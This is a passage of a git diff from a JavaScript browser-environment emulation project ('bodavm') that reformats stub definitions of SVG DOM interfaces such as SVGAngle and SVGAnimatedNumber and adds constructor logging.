SVGAngle)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAngle'], "SVGAngle"); +bodavm.toolsFunc.defineProperty('SVGAngle', "SVG_ANGLETYPE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGAngle', "SVG_ANGLETYPE_UNSPECIFIED", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGAngle', "SVG_ANGLETYPE_DEG", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGAngle', "SVG_ANGLETYPE_RAD", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('SVGAngle', "SVG_ANGLETYPE_GRAD", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}); +bodavm.toolsFunc.defineProperty('SVGAngle', "unitType", { + configurable: true, + enumerable: true, + get: function unitType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAngle'].prototype, "SVGAngle", "unitType_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAngle', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAngle'].prototype, "SVGAngle", "value_get", arguments); + }, + set: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAngle'].prototype, "SVGAngle", "value_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAngle', "valueInSpecifiedUnits", { + configurable: true, + enumerable: true, + get: function valueInSpecifiedUnits() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAngle'].prototype, "SVGAngle", "valueInSpecifiedUnits_get", arguments); + }, + set: function valueInSpecifiedUnits() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAngle'].prototype, "SVGAngle", "valueInSpecifiedUnits_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAngle', "valueAsString", { + configurable: true, + enumerable: true, + get: function valueAsString() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAngle'].prototype, "SVGAngle", "valueAsString_get", arguments); + }, + set: function valueAsString() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAngle'].prototype, "SVGAngle", "valueAsString_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAngle', "SVG_ANGLETYPE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAngle', "SVG_ANGLETYPE_UNSPECIFIED", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAngle', "SVG_ANGLETYPE_DEG", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAngle', "SVG_ANGLETYPE_RAD", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAngle', "SVG_ANGLETYPE_GRAD", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAngle', "convertToSpecifiedUnits", { + configurable: true, + enumerable: true, + writable: true, + value: function convertToSpecifiedUnits() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAngle'].prototype, "SVGAngle", "convertToSpecifiedUnits", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAngle', "newValueSpecifiedUnits", { + configurable: true, + enumerable: true, + writable: true, + value: function newValueSpecifiedUnits() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAngle'].prototype, "SVGAngle", "newValueSpecifiedUnits", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGAnimateElement.js b/env_xbb_lastest_jsdom/env/SVGAnimateElement.js index 12a7ff9b..1cdef8fd 100644 --- a/env_xbb_lastest_jsdom/env/SVGAnimateElement.js +++ b/env_xbb_lastest_jsdom/env/SVGAnimateElement.js @@ -1,5 +1,19 @@ -// SVGAnimateElement对象 -bodavm.memory.globalobj['SVGAnimateElement'] = function SVGAnimateElement(){if (!(this instanceof SVGAnimateElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimateElement'], "SVGAnimateElement"); -bodavm.memory.globalobj['SVGAnimateElement'].prototype.__proto__=bodavm.memory.globalobj['SVGAnimationElement'].prototype; -bodavm.memory.globalobj['SVGAnimateElement'].__proto__=bodavm.memory.globalobj['SVGAnimationElement']; +// SVGAnimateElement对象 + +bodavm.memory.globalobj['SVGAnimateElement'] = function SVGAnimateElement() { + console.log_copy('SVGAnimateElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGAnimateElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimateElement'], "SVGAnimateElement"); +bodavm.memory.globalobj['SVGAnimateElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGAnimationElement'].prototype; +bodavm.memory.globalobj['SVGAnimateElement'].__proto__ = bodavm.memory.globalobj['SVGAnimationElement']; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGAnimateMotionElement.js b/env_xbb_lastest_jsdom/env/SVGAnimateMotionElement.js index bf6af18b..b498ed18 100644 --- a/env_xbb_lastest_jsdom/env/SVGAnimateMotionElement.js +++ b/env_xbb_lastest_jsdom/env/SVGAnimateMotionElement.js @@ -1,5 +1,19 @@ -// SVGAnimateMotionElement对象 -bodavm.memory.globalobj['SVGAnimateMotionElement'] = function SVGAnimateMotionElement(){if (!(this instanceof SVGAnimateMotionElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimateMotionElement'], "SVGAnimateMotionElement"); -bodavm.memory.globalobj['SVGAnimateMotionElement'].prototype.__proto__=bodavm.memory.globalobj['SVGAnimationElement'].prototype; -bodavm.memory.globalobj['SVGAnimateMotionElement'].__proto__=bodavm.memory.globalobj['SVGAnimationElement']; +// SVGAnimateMotionElement对象 + +bodavm.memory.globalobj['SVGAnimateMotionElement'] = function SVGAnimateMotionElement() { + console.log_copy('SVGAnimateMotionElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGAnimateMotionElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimateMotionElement'], "SVGAnimateMotionElement"); +bodavm.memory.globalobj['SVGAnimateMotionElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGAnimationElement'].prototype; +bodavm.memory.globalobj['SVGAnimateMotionElement'].__proto__ = bodavm.memory.globalobj['SVGAnimationElement']; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGAnimateTransformElement.js b/env_xbb_lastest_jsdom/env/SVGAnimateTransformElement.js index 826ee849..38dfc43f 100644 --- a/env_xbb_lastest_jsdom/env/SVGAnimateTransformElement.js +++ b/env_xbb_lastest_jsdom/env/SVGAnimateTransformElement.js @@ -1,5 +1,19 @@ -// SVGAnimateTransformElement对象 -bodavm.memory.globalobj['SVGAnimateTransformElement'] = function SVGAnimateTransformElement(){if (!(this instanceof SVGAnimateTransformElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimateTransformElement'], "SVGAnimateTransformElement"); -bodavm.memory.globalobj['SVGAnimateTransformElement'].prototype.__proto__=bodavm.memory.globalobj['SVGAnimationElement'].prototype; -bodavm.memory.globalobj['SVGAnimateTransformElement'].__proto__=bodavm.memory.globalobj['SVGAnimationElement']; +// SVGAnimateTransformElement对象 + +bodavm.memory.globalobj['SVGAnimateTransformElement'] = function SVGAnimateTransformElement() { + console.log_copy('SVGAnimateTransformElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGAnimateTransformElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimateTransformElement'], "SVGAnimateTransformElement"); +bodavm.memory.globalobj['SVGAnimateTransformElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGAnimationElement'].prototype; +bodavm.memory.globalobj['SVGAnimateTransformElement'].__proto__ = bodavm.memory.globalobj['SVGAnimationElement']; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGAnimatedAngle.js b/env_xbb_lastest_jsdom/env/SVGAnimatedAngle.js index f94a2697..a1d7370e 100644 --- a/env_xbb_lastest_jsdom/env/SVGAnimatedAngle.js +++ b/env_xbb_lastest_jsdom/env/SVGAnimatedAngle.js @@ -1,5 +1,33 @@ -// SVGAnimatedAngle对象 -bodavm.memory.globalobj['SVGAnimatedAngle'] = function SVGAnimatedAngle(){if (!(this instanceof SVGAnimatedAngle)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimatedAngle'], "SVGAnimatedAngle"); -bodavm.toolsFunc.defineProperty('SVGAnimatedAngle', "baseVal", {configurable:true, enumerable:true, get:function baseVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedAngle'].prototype, "SVGAnimatedAngle", "baseVal_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAnimatedAngle', "animVal", {configurable:true, enumerable:true, get:function animVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedAngle'].prototype, "SVGAnimatedAngle", "animVal_get", arguments)}, set:undefined},'prototype'); +// SVGAnimatedAngle对象 + +bodavm.memory.globalobj['SVGAnimatedAngle'] = function SVGAnimatedAngle() { + console.log_copy('SVGAnimatedAngle 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGAnimatedAngle)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimatedAngle'], "SVGAnimatedAngle"); +bodavm.toolsFunc.defineProperty('SVGAnimatedAngle', "baseVal", { + configurable: true, + enumerable: true, + get: function baseVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedAngle'].prototype, "SVGAnimatedAngle", "baseVal_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAnimatedAngle', "animVal", { + configurable: true, + enumerable: true, + get: function animVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedAngle'].prototype, "SVGAnimatedAngle", "animVal_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGAnimatedBoolean.js b/env_xbb_lastest_jsdom/env/SVGAnimatedBoolean.js index 5ac7d846..1b33959d 100644 --- a/env_xbb_lastest_jsdom/env/SVGAnimatedBoolean.js +++ b/env_xbb_lastest_jsdom/env/SVGAnimatedBoolean.js @@ -1,5 +1,35 @@ -// SVGAnimatedBoolean对象 -bodavm.memory.globalobj['SVGAnimatedBoolean'] = function SVGAnimatedBoolean(){if (!(this instanceof SVGAnimatedBoolean)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimatedBoolean'], "SVGAnimatedBoolean"); -bodavm.toolsFunc.defineProperty('SVGAnimatedBoolean', "baseVal", {configurable:true, enumerable:true, get:function baseVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedBoolean'].prototype, "SVGAnimatedBoolean", "baseVal_get", arguments)}, set:function baseVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedBoolean'].prototype, "SVGAnimatedBoolean", "baseVal_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAnimatedBoolean', "animVal", {configurable:true, enumerable:true, get:function animVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedBoolean'].prototype, "SVGAnimatedBoolean", "animVal_get", arguments)}, set:undefined},'prototype'); +// SVGAnimatedBoolean对象 + +bodavm.memory.globalobj['SVGAnimatedBoolean'] = function SVGAnimatedBoolean() { + console.log_copy('SVGAnimatedBoolean 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGAnimatedBoolean)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimatedBoolean'], "SVGAnimatedBoolean"); +bodavm.toolsFunc.defineProperty('SVGAnimatedBoolean', "baseVal", { + configurable: true, + enumerable: true, + get: function baseVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedBoolean'].prototype, "SVGAnimatedBoolean", "baseVal_get", arguments); + }, + set: function baseVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedBoolean'].prototype, "SVGAnimatedBoolean", "baseVal_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAnimatedBoolean', "animVal", { + configurable: true, + enumerable: true, + get: function animVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedBoolean'].prototype, "SVGAnimatedBoolean", "animVal_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGAnimatedEnumeration.js b/env_xbb_lastest_jsdom/env/SVGAnimatedEnumeration.js index 66da4ed1..da7f3d51 100644 --- a/env_xbb_lastest_jsdom/env/SVGAnimatedEnumeration.js +++ b/env_xbb_lastest_jsdom/env/SVGAnimatedEnumeration.js @@ -1,5 +1,35 @@ -// SVGAnimatedEnumeration对象 -bodavm.memory.globalobj['SVGAnimatedEnumeration'] = function SVGAnimatedEnumeration(){if (!(this instanceof SVGAnimatedEnumeration)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimatedEnumeration'], "SVGAnimatedEnumeration"); -bodavm.toolsFunc.defineProperty('SVGAnimatedEnumeration', "baseVal", {configurable:true, enumerable:true, get:function baseVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedEnumeration'].prototype, "SVGAnimatedEnumeration", "baseVal_get", arguments)}, set:function baseVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedEnumeration'].prototype, "SVGAnimatedEnumeration", "baseVal_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAnimatedEnumeration', "animVal", {configurable:true, enumerable:true, get:function animVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedEnumeration'].prototype, "SVGAnimatedEnumeration", "animVal_get", arguments)}, set:undefined},'prototype'); +// SVGAnimatedEnumeration对象 + +bodavm.memory.globalobj['SVGAnimatedEnumeration'] = function SVGAnimatedEnumeration() { + console.log_copy('SVGAnimatedEnumeration 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGAnimatedEnumeration)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimatedEnumeration'], "SVGAnimatedEnumeration"); +bodavm.toolsFunc.defineProperty('SVGAnimatedEnumeration', "baseVal", { + configurable: true, + enumerable: true, + get: function baseVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedEnumeration'].prototype, "SVGAnimatedEnumeration", "baseVal_get", arguments); + }, + set: function baseVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedEnumeration'].prototype, "SVGAnimatedEnumeration", "baseVal_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAnimatedEnumeration', "animVal", { + configurable: true, + enumerable: true, + get: function animVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedEnumeration'].prototype, "SVGAnimatedEnumeration", "animVal_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGAnimatedInteger.js b/env_xbb_lastest_jsdom/env/SVGAnimatedInteger.js index 82f64ad8..7f09b9f4 100644 --- a/env_xbb_lastest_jsdom/env/SVGAnimatedInteger.js +++ b/env_xbb_lastest_jsdom/env/SVGAnimatedInteger.js @@ -1,5 +1,35 @@ -// SVGAnimatedInteger对象 -bodavm.memory.globalobj['SVGAnimatedInteger'] = function SVGAnimatedInteger(){if (!(this instanceof SVGAnimatedInteger)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimatedInteger'], "SVGAnimatedInteger"); -bodavm.toolsFunc.defineProperty('SVGAnimatedInteger', "baseVal", {configurable:true, enumerable:true, get:function baseVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedInteger'].prototype, "SVGAnimatedInteger", "baseVal_get", arguments)}, set:function baseVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedInteger'].prototype, "SVGAnimatedInteger", "baseVal_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAnimatedInteger', "animVal", {configurable:true, enumerable:true, get:function animVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedInteger'].prototype, "SVGAnimatedInteger", "animVal_get", arguments)}, set:undefined},'prototype'); +// SVGAnimatedInteger对象 + +bodavm.memory.globalobj['SVGAnimatedInteger'] = function SVGAnimatedInteger() { + console.log_copy('SVGAnimatedInteger 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGAnimatedInteger)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimatedInteger'], "SVGAnimatedInteger"); +bodavm.toolsFunc.defineProperty('SVGAnimatedInteger', "baseVal", { + configurable: true, + enumerable: true, + get: function baseVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedInteger'].prototype, "SVGAnimatedInteger", "baseVal_get", arguments); + }, + set: function baseVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedInteger'].prototype, "SVGAnimatedInteger", "baseVal_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAnimatedInteger', "animVal", { + configurable: true, + enumerable: true, + get: function animVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedInteger'].prototype, "SVGAnimatedInteger", "animVal_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGAnimatedLength.js b/env_xbb_lastest_jsdom/env/SVGAnimatedLength.js index 44414441..e3615dc7 100644 --- a/env_xbb_lastest_jsdom/env/SVGAnimatedLength.js +++ b/env_xbb_lastest_jsdom/env/SVGAnimatedLength.js @@ -1,5 +1,33 @@ -// SVGAnimatedLength对象 -bodavm.memory.globalobj['SVGAnimatedLength'] = function SVGAnimatedLength(){if (!(this instanceof SVGAnimatedLength)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimatedLength'], "SVGAnimatedLength"); -bodavm.toolsFunc.defineProperty('SVGAnimatedLength', "baseVal", {configurable:true, enumerable:true, get:function baseVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedLength'].prototype, "SVGAnimatedLength", "baseVal_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAnimatedLength', "animVal", {configurable:true, enumerable:true, get:function animVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedLength'].prototype, "SVGAnimatedLength", "animVal_get", arguments)}, set:undefined},'prototype'); +// SVGAnimatedLength对象 + +bodavm.memory.globalobj['SVGAnimatedLength'] = function SVGAnimatedLength() { + console.log_copy('SVGAnimatedLength 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGAnimatedLength)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimatedLength'], "SVGAnimatedLength"); +bodavm.toolsFunc.defineProperty('SVGAnimatedLength', "baseVal", { + configurable: true, + enumerable: true, + get: function baseVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedLength'].prototype, "SVGAnimatedLength", "baseVal_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAnimatedLength', "animVal", { + configurable: true, + enumerable: true, + get: function animVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedLength'].prototype, "SVGAnimatedLength", "animVal_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGAnimatedLengthList.js b/env_xbb_lastest_jsdom/env/SVGAnimatedLengthList.js index 3771d483..55f2a3cf 100644 --- a/env_xbb_lastest_jsdom/env/SVGAnimatedLengthList.js +++ b/env_xbb_lastest_jsdom/env/SVGAnimatedLengthList.js @@ -1,5 +1,33 @@ -// SVGAnimatedLengthList对象 -bodavm.memory.globalobj['SVGAnimatedLengthList'] = function SVGAnimatedLengthList(){if (!(this instanceof SVGAnimatedLengthList)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimatedLengthList'], "SVGAnimatedLengthList"); -bodavm.toolsFunc.defineProperty('SVGAnimatedLengthList', "baseVal", {configurable:true, enumerable:true, get:function baseVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedLengthList'].prototype, "SVGAnimatedLengthList", "baseVal_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAnimatedLengthList', "animVal", {configurable:true, enumerable:true, get:function animVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedLengthList'].prototype, "SVGAnimatedLengthList", "animVal_get", arguments)}, set:undefined},'prototype'); +// SVGAnimatedLengthList对象 + +bodavm.memory.globalobj['SVGAnimatedLengthList'] = function SVGAnimatedLengthList() { + console.log_copy('SVGAnimatedLengthList 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGAnimatedLengthList)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimatedLengthList'], "SVGAnimatedLengthList"); +bodavm.toolsFunc.defineProperty('SVGAnimatedLengthList', "baseVal", { + configurable: true, + enumerable: true, + get: function baseVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedLengthList'].prototype, "SVGAnimatedLengthList", "baseVal_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAnimatedLengthList', "animVal", { + configurable: true, + enumerable: true, + get: function animVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedLengthList'].prototype, "SVGAnimatedLengthList", "animVal_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGAnimatedNumber.js b/env_xbb_lastest_jsdom/env/SVGAnimatedNumber.js index 8c8adcd2..33ac51ec 100644 --- a/env_xbb_lastest_jsdom/env/SVGAnimatedNumber.js +++ b/env_xbb_lastest_jsdom/env/SVGAnimatedNumber.js @@ -1,5 +1,35 @@ -// SVGAnimatedNumber对象 -bodavm.memory.globalobj['SVGAnimatedNumber'] = function SVGAnimatedNumber(){if (!(this instanceof SVGAnimatedNumber)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimatedNumber'], "SVGAnimatedNumber"); -bodavm.toolsFunc.defineProperty('SVGAnimatedNumber', "baseVal", {configurable:true, enumerable:true, get:function baseVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedNumber'].prototype, "SVGAnimatedNumber", "baseVal_get", arguments)}, set:function baseVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedNumber'].prototype, "SVGAnimatedNumber", "baseVal_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAnimatedNumber', "animVal", {configurable:true, enumerable:true, get:function animVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedNumber'].prototype, "SVGAnimatedNumber", "animVal_get", arguments)}, set:undefined},'prototype'); +// SVGAnimatedNumber对象 + +bodavm.memory.globalobj['SVGAnimatedNumber'] = function SVGAnimatedNumber() { + console.log_copy('SVGAnimatedNumber 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGAnimatedNumber)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimatedNumber'], "SVGAnimatedNumber"); +bodavm.toolsFunc.defineProperty('SVGAnimatedNumber', "baseVal", { + configurable: true, + enumerable: true, + get: function baseVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedNumber'].prototype, "SVGAnimatedNumber", "baseVal_get", arguments); + }, + set: function baseVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedNumber'].prototype, "SVGAnimatedNumber", "baseVal_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAnimatedNumber', "animVal", { + configurable: true, + enumerable: true, + get: function animVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedNumber'].prototype, "SVGAnimatedNumber", "animVal_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGAnimatedNumberList.js b/env_xbb_lastest_jsdom/env/SVGAnimatedNumberList.js index fdddd4c7..20460f9b 100644 --- a/env_xbb_lastest_jsdom/env/SVGAnimatedNumberList.js +++ b/env_xbb_lastest_jsdom/env/SVGAnimatedNumberList.js @@ -1,5 +1,33 @@ -// SVGAnimatedNumberList对象 -bodavm.memory.globalobj['SVGAnimatedNumberList'] = function SVGAnimatedNumberList(){if (!(this instanceof SVGAnimatedNumberList)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimatedNumberList'], "SVGAnimatedNumberList"); -bodavm.toolsFunc.defineProperty('SVGAnimatedNumberList', "baseVal", {configurable:true, enumerable:true, get:function baseVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedNumberList'].prototype, "SVGAnimatedNumberList", "baseVal_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAnimatedNumberList', "animVal", {configurable:true, enumerable:true, get:function animVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedNumberList'].prototype, "SVGAnimatedNumberList", "animVal_get", arguments)}, set:undefined},'prototype'); +// 